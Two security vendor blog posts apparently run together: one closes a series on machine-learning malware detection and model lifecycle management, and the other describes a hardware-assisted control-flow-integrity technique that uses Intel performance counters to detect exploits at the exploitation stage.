For an enterprise-relevant data science solution, a wholly automated process is required for acquiring samples (malicious, benign and unlabeled), generating labels for these samples, automatically extracting features, partitioning the features into training and validation sets (for feature and model selection), then updating or re-training a model with new data. This may seem like a mundane point, but data lifecycle management and model versioning and management don’t enjoy the standard processes and maturity that are now common within software version management.  For example, consider four independent elements of a data science solution that could change the functionality and performance of an endpoint model: 1) the dataset used to train the model; 2) the feature definitions and code to describe the data; 3) the model trained on those features; and 4) the scaffolding that integrates the data science model with the rest of the system.  How does one track versioning when new samples are added to or labels are changed in the dataset?  When new descriptive features are added?  When a model is retrained? When encapsulating middleware is updated?  Introducing the engineering processes into a machine learning solution narrows the chasm between an interesting one-off prototype and a bona fide production machine learning malware detection system. Once a model is trained and its performance on the holdout validation set is well characterized, the model is then automatically pushed to a customer.

But the job doesn’t stop there. In what constitutes quality assurance for data science, performance metrics of the deployed model are continuously gathered and checked against pre-deployment metrics. Following deployment, the following questions must be answered in order to monitor the status of a deployed model:

• Is there an unusual spike in the number of detections or have the detections gone quiet?
• Are there categories or families the model is no longer correctly classifying?
• For a sampling of files submitted to the model, can we discover the true label and compare them against the model’s prediction? 

The answer to these questions is particularly important in information security, since malware samples are generated by a dynamic adversary. In effect, the thing we’re trying to detect is a moving target: the malware (and benign!) samples we want to predict continue to evolve from the samples we trained on. Whether one acknowledges and addresses this issue head on is another issue that separates naive from sophisticated offerings. Clever use of unlabeled data, and strategies that proactively probe machine learning models against possible adversarial drift can be the difference between rapidly discovering a new campaign against your enterprise, or being “pwned”. 

Endgame MalwareScore™

Optimizing a malware classification solution for the hunt use case produces a lightweight endpoint model trained on millions of benign, malicious, and unlabeled samples.  The Endgame model allows for stealthy presence on the endpoint by maintaining a minuscule memory footprint without requiring external connectivity. Paired with a sub-100 millisecond query time, the model represents the ideal blend of speed and sophistication necessary for successful hunt operations.  The endpoint model produces the Endgame MalwareScore™ where scores approaching 100 inform the analyst that the file in question should be considered malicious.  Endgame MalwareScore™ also encourages the analyst to easily tune the malicious threshold to better suit the needs of their current hunt operation, such as reducing the threshold during an active incident to surface more suspicious files to the hunter. The Endgame MalwareScore™ is an integrated element of detecting an adversary during hunt operations, enriching all executable file-backed items with the score to highlight potentially bad artifacts like persistence mechanisms and processes to guide the hunter as effectively as possible.

That's a Wrap: Machine Learning's Place in Security

After reading this series of three blogs, we hope that you are able to see through the surface-level buzz and hype that is too prevalent in machine learning applied to cyber security.  You should be better equipped to know and do the following:

1. Understand that, like any security solution, machine learning models are susceptible to both false positives and false negatives.  Hence, they are best used in concert with a broader defensive or proactive hunting framework.
2. Ask the right questions to understand a model's performance and its implications on your enterprise.
3. Compare machine learning models by the many facets and considerations of importance (FPR, TPR, model size, query time, training time, etc.), and choose one that best fits your application.
4. Identify key considerations for hunting on the endpoint, including stealthiness (low memory and CPU footprint), model accuracy, and a model's interoperability with other facets of a detection pipeline for use by a hunt team.
5. Understand that real-world datasets and deployment conditions are more "crunchy" than sterile.  Dataset curation, model management, and model deployment considerations have major implications in continuous protection against evolving threats.

Endgame’s use of machine learning for malware detection is a critical component of automating the hunt. Sophisticated adversaries lurking in enterprise networks constantly evolve their TTPs to remain undetected and subvert the hunter. Endgame’s hunt solution automates the discovery of malicious binaries in a covert fashion, in line with the stealth capabilities developed for elite US Department of Defense cyber protection teams and high end commercial hunt teams. We’ve detailed only one layer of Endgame’s tiered threat detection strategy: the endpoint. Complementary models exist on the on-premises hunt platform and in the cloud that can provide additional information about threats, including malware, to the hunter as part of the Endgame hunt platform.

Endgame is productizing the latest research in machine learning and practices in data science to revolutionize information security. Although beyond the scope of this blog series, machine learning models are applicable to other stages of the hunt cycle—survey, secure, and respond. We’ve described the machine learning aspect of malware hunting, specifically the ability to identify persistence and never-before-seen malware during the “detect” phase of the hunt. Given the breadth of challenges in the threat and data environment, automated malware classification can greatly enhance an organization’s ability to detect malicious behavior within enterprise networks. 

As we discussed in an earlier post, most defenses focus on the post-exploitation stage of the attack, by which point it is too late and the attacker will always maintain the advantage. Instead of focusing on the post-exploitation stage, we leverage the enforcement of coarse-grained Control Flow Integrity (CFI) to enhance detection at the exploitation stage. Existing implementations of CFI require recompilation, extensive software updates, or incur a significant performance penalty, making them difficult to adopt and use in the enterprise. At Black Hat USA 2016, we presented our hardware-assisted technique that has proven successful at blocking exploits, while minimizing the impact on performance to ensure operational utility at scale. To enable earlier detection while limiting the impact on performance, we have developed a new concept we’re calling Hardware Assisted Control Flow Integrity, or HA-CFI. This technology utilizes hardware features available in Intel processors to monitor and prevent exploitation in real time, with manageable overhead. By leveraging hardware features we can detect exploits before they reach the “Post-Exploitation” stage and provide stronger protections while defense still has the upper hand.

Prior Art and Operational Constraints

Our work builds on previous research that identified the Performance Monitoring Unit (PMU) of microprocessors as a good candidate for enforcing control-flow integrity. The PMU is a specialized unit in most microprocessor architectures that provides useful performance measuring facilities for developers. Most features of the unit are intended to count hardware level events during program execution to aid in program optimization and debugging.

In their paper, Yuan et al. [YUAN11] introduced the novel application of these events to exploit detection for software security. Their research focused on using PMU events along with the Branch Trace Store (BTS) messages to correlate and detect code-injection and code-reuse attacks without source code. Xia et al. explored the idea further in their paper CFIMon [XIA12], combining precise event context gathering with the BTS and PEBS to enforce real-time control-flow integrity. In addition to these foundational papers, others have pursued variations on the idea to specifically target exploit techniques such as Return-Oriented- Programming.

Alternatively, just-in-time CFI solutions have been proposed using dynamically instrumented frameworks such as PIN [PIN12] or DynamoRIO [DYN16]. These frameworks dynamically interpret code as it is executed while providing instrumentation functionality to developers. Applying control flow policies with a framework like PIN allows for the flexible and reliable checking of code. However, it often incurs a significant CPU over-head, in the area of 10 to 100x, making it unusable in the enterprise.

Our research into dynamic run-time CFI included parameters we feel would make this approach relevant to enterprise security, while also providing significant detection and prevention assurances. To ensure our approach is resilient for enterprise security while also providing significant detection and prevention assurances, we established several functional requirements, such as ensured functionality on 32 and 64bit Operating Systems, application without software recompilation, or access to source code.

Approach

HA-CFI uses PMU-based traps to apply coarse-grained CFI on indirect calls on the x86 architecture. The system uses the PMU to count and trap mispredicted indirect branches in order to validate branch destinations in real-time. In addition to gaining assistance from a carefully tuned PMU, a practical implementation of this approach requires support from Intel’s Last Branch Record (LBR) feature, and a method for tracking thread context switching in a given OS. It also requires an algorithm for validating branch destination addresses, all while keeping performance over-head to a minimum. After more than a year of fine-tuning these hardware features, we have proven our model is capable of generically detecting control-flow hijacks in real-time with acceptable performance over-head on both Windows and Linux. Because control-flow hijack attacks often stem from a corrupted or modified VTable, many CFI designs focus on validating all indirect branches. Because these call sites have never before jumped to the attacker controlled address, this indirect call is almost always mispredicted by the branch prediction unit. Therefore, by only focusing on mispredicted indirect call sites we greatly limit the number of places that a CFI check is necessary.

HA-CFI configures the Intel PMU on each core to count and generate an interrupt on every mispredicted indirect branch. The PMU is capable of delivering an interrupt any time an event counter overflows, and thus HA-CFI sets the initial counter value to -1 and resets the counter to -1 from the interrupt service routine to generate a trap for every occurrence of the event. In this way, the HA-CFI interrupt service routine becomes our CFI component capable of validating each mispredicted call and determining whether it is the result of malicious behavior. To validate target indirect branch addresses, HA-CFI builds a comprehensive whitelist of valid code pointer addresses as each.dll/.so is loaded into protected processes. When a counter overflows, the Interrupt Service Routine (ISR) called is then able to compare the mispredicted branch to a whitelist, and determine if the branch is anomalous.

hacfi_1.png

 

Figure 1: High level design of HA-CFI using the PMU to validate mispredicted branches

To ensure we minimized the overhead of HA-CFI while maintaining an extremely low false-positive rate, several key design decisions had to be made, and are described below.

The Indirect Branch: On the Intel x86 architecture, an indirect branch can occur at both a CALL or JMP instruction. We focus exclusively on the CALL instruction for several reasons, including the frequent use of indirect JMP branch locations for switch statements. In our experimentation on Linux, we found roughly 12% of hijacked indirect branches occurred as part of an indirect JMP, but occurred even less frequently on Windows. Secondly, ignoring mispredicted JMP instructions further reduces the overhead of HA-CFI. Therefore, we opted to omit mispredicted JMP branches during this research, which can be achieved with settings on the PMU and LBR.

hacfi2.png

Figure 2: A breakdown of hijackable indirect JMP vs CALL instructions found in Windows and Linux x64 binaries

Added Precision with the LBR: Given our requirement for real-time detection and prevention of control-flow hijacks, unlike the majority of previous research, we couldn’t use the Intel Branch Trace Store (BTS), which does not permit analysis of the trace data in real-time. Instead, to precisely resolve the exact branch that caused the PMU to generate an interrupt, we make use of Intel’s Last Branch Record (LBR) stack.  A powerful feature of the LBR is the ability to filter the types of branches that are recorded. For example, returns, indirect calls, indirect jumps, and conditional branches can all be included or excluded. With this in mind, we can configure the LBR to only record indirect call branches occurring in user mode. Additionally, the most significant bit of the LBR branch FROM address indicates whether the branch was actually mispredicted. As a result, this provides a quick filter for the ISR to ignore the branch if it was predicted correctly. It’s important to note that we are not iterating over the entire LBR stack, only the most recently inserted branch.

On-Demand PMU-Assisted CFI: HA-CFI is focused on protecting commonly exploited applications such as browsers, mail clients, and Flash. As such, the PMU and LBR are both configured to only operate on mispredicted indirect calls occurring in user mode, ignoring those that occur in ring-0. Moreover, by monitoring thread context switches in both Windows and Linux, we can turn the entire PMU on and off depending upon which applications are being protected. This design decision is perhaps the most critical element in keeping our performance overhead at an acceptable level.

Runtime Whitelist Generation: The final component to the HA-CFI system is the actual integrity check that involves querying a whitelist data structure containing valid destination addresses for indirect calls. Whitelist generation is performed at run-time for each image loaded into a protected process. We generated a whitelist such that all branches from our dataset could be verified in a hashtable leaving zero unknown captured branches.

Implementation Challenges 


Throughout the course of our research, we encountered numerous hurdles to meet our original goal of low-overhead, high detection stats. First, registering for PMU interrupts on Windows was a major challenge. Our initial prototype was developed under Linux. Transferring the same techniques to Windows proved problematic, especially with regards to Kernel Patch Protection. After significant research, we discovered an undocumented option in the Windows Hardware Abstraction Layer (HAL) that registers a driver supplied interrupt handler for PMU interrupts. Second, our implementation of CFI on Windows restricted PMU monitoring to a single process or thread.

The technique we ultimately arrived at makes use of a threads Asynchronous Procedure Call (APC) mechanism. Windows allows developers to register APC routines for a given thread, which are then added to a queue to be executed at certain points. By maintaining an APC registered on all threads that we seek to monitor at all times, we are notified that a thread has resumed execution when our routine executes. The routine re-enables the PMU counter if necessary and updates various tracking metrics. We detect when a processor swaps out a thread and begins executing another when we receive an interrupt in a different thread context. We can then disable the PMU counters, if needed.

Results

To evaluate our system, we measured success both in terms of performance overhead added by HA-CFI as well as detection statistics when tested against various exploits in common client applications, including the most common web browsers, as well as Microsoft Office and Adobe Flash. We sourced exploits from Metasploit modules for testing, as well as numerous live samples from popular Exploit Kits found in the wild.

Performance: After completing our prototype, we were concerned about the overhead of monitoring with HA-CFI and its impact on system performance and usability. Since each mispredicted branch in a monitored process would cause an interrupt, there was the potential for a very high number of interrupts to be generated. We subjected our prototype implementations to several tests to measure overhead. Monitoring Internet Explorer 11 while running a JavaScript performance test suite, the driver detected approximately 83,000 interrupts per second on average. In contrast, monitoring an “idle” IE resulted in roughly 1,000 interrupts per second. Our performance analysis revealed that overhead is highly dependent upon the process being protected. For example, with Firefox we saw around 10% overhead while running Dromaeo [DRO16] JavaScript benchmarks, and with PassMark benchmarking tool we saw 8-10% over- head. With Internet Explorer under heavy usage this number was above 10%. Alternatively, under normal user behavior the overhead is significantly less. We have deployed HA-CFI on systems in daily use monitoring web browsing, and observed little impact on performance or usability.

Exploit Detection: We extensively tested HA-CFI against a variety of exploits to determine its efficacy against as many bug classes and exploitation techniques as possible, with an emphasis on recent samples using approaches intended to bypass other mitigation measures. We ran one set of tests against more than 15 Metasploit exploits targeting Adobe Flash Player, Internet Explorer, and Microsoft Word. HA-CFI detected and prevented exploitation for each of the tested modules, with an overall detection rate greater than 98%. 

We found the Metasploit results to be encouraging, but came to the conclusion that they did not provide sufficient diversity in exploitation techniques needed to comprehensively test HA-CFI. We used the VirusTotal service to download a set of samples used in real-world exploit kit campaigns from several widespread kits [KAF16]. In total, we tested forty-eight samples comprising twenty unique CVE vulnerabilities. We analyzed the samples to verify that they employed a varied set of both Return-Oriented Programming (ROP) and “ROPless” techniques. HA-CFI succeeded in detecting all 48 samples, with an overall detection rate of 96% in a multiple trial consistency test.

hacfi3.png

Results of VirusTotal Sample Testing, by Exploitation Technique

 

 

hacfi4.png

Results of VirusTotal Sample Testing, by Bug Class

Conclusion

Modern exploitation techniques are rapidly changing, requiring a new approach to exploit detection. We demonstrated such an approach to exploit detection by using the Performance Monitoring Unit to enforce control flow integrity on branch mispredictions. A run-time generated whitelist can determine the validity of indirect calls to locations classified as malicious. This approach greatly reduces the overhead of the instrumentation by moving the policy enforcement to a “coarse-grained” verifier on mispredicted indirect branch targets. The data provided also shows the efficacy of such a system on samples captured in-the-wild. These samples, from popular exploit kits, allow us to measure against unknown threats further validating its application. As exploits advance, we also need advanced exploit detection. Our hardware-assisted CFI (HA-CFI) system has a low performance impact and measurable prevention success against 0day exploits and previously unknown exploitation techniques. Using HA-CFI we have advanced the state-of-the-art – moving the industry from post-exploitation to exploitation – to give enterprise-scale security software an upper hand in earlier detection of exploitation. To learn more about pre-exploit detection and mitigation, we'll be discussing our approach during a webinar on August 25^th, at 1 pm ET.

References

[YUAN11] L. Yuan, W. Xing, H. Chen, B. Zang, “Security Breaches as PMU Deviation: Detecting and Identifying Security Attacks Using Performance Counters”, APSys’11, July 11-12, 2011.


[PIN12] PIN: A Dynamic Binary Instrumentation Tool. https://software.intel.com/en-us/articles/pin-a-dynamic- binary-instrumentation-tool


[DYN16] DynamoRIO: Dynamic Instrumentation Tool Platform.
http://www.dynamorio.org/


[XIA12] Y. Xia, Y. Liu, H. Chen, and B. Zang, “CFIMon: Detecting violation of control flow integrity using performance counters,” in Proceedings of the 2012 42nd Annual IEEE/IFIP International Conference on Dependable Systems and Networks (DSN), pp. 1–12, IEEE Computer Society, 2012.


[DRO16] Dromaeo JavaScript Benchmark. http://www.dromaeo.com


[EME16] The Enhanced Mitigation Experience Toolkit. https://support.microsoft.com/en-us/kb/2458544

[KAF16] Kafeine. Exploit Kit Samples. http://malware.dontneedcoffee.com/